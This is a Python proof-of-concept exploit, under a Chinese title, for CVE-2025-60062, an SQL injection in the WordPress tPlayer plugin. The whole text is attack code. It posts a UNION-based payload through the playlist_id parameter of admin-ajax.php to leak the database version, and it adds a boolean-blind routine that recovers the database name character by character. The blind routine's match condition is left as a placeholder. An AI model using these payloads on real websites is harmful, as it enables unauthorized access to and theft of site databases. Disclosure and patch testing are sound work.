CVE-2025-60062: WordPress tPlayer插件SQL注入漏洞

import requests import sys # CVE-2025-60062 SQL Injection PoC # Target: WordPress tPlayer plugin <= 1.2.1.6 # Vulnerability: SQL Injection in playlist query parameter TARGET_URL = "http://target-site.com/wp-admin/admin-ajax.php" def exploit_sqli(target_url): """Exploit SQL injection to extract database version""" # Malicious payload to extract database version # Using UNION-based SQL injection technique payload = "1 UNION SELECT 1,2,3,@@version,5,6,7,8,9,10--" headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Build the vulnerable request data = { "action": "tplayer_get_playlist", "playlist_id": payload # Vulnerable parameter } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response length: {len(response.text)}") print(f"[+] Check response for database version leak") return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def blind_sqli_enum(target_url): """Extract data using boolean-based blind SQL injection""" # Example: Extract current database name character by character database_name = "" charset = "abcdefghijklmnopqrstuvwxyz0123456789_" for pos in range(1, 20): # Max length 20 for char in charset: payload = f"1 AND SUBSTRING((SELECT database()),{pos},1)='{char}'--" data = { "action": "tplayer_get_playlist", "playlist_id": payload } try: response = requests.post(target_url, data=data, timeout=10) # Adjust condition based on actual response behavior if "expected_pattern" in response.text: database_name += char print(f"[*] Found character: {char} (position {pos})") break except requests.exceptions.RequestException: continue print(f"[+] Database name: {database_name}") return database_name if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL print(f"[*] Exploiting CVE-2025-60062 on {target}") exploit_sqli(target)